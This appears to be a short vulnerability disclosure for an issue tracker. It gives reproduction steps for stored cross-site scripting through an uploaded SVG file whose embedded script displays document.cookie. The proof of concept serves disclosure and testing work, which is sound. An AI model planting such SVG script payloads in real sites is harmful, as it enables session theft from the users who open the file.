Steps

1 .Login as account demo

2 .Access the module issues

3 .Then create an issue

4 .Upload an SVG file with the following content:

         <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
             <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
             <script type="text/javascript">
                     alert(document.cookie);
             </script>
          </svg>

5 .Save the issue and access the newly created issue, then access the just uploaded SVG file and the payload will be executed
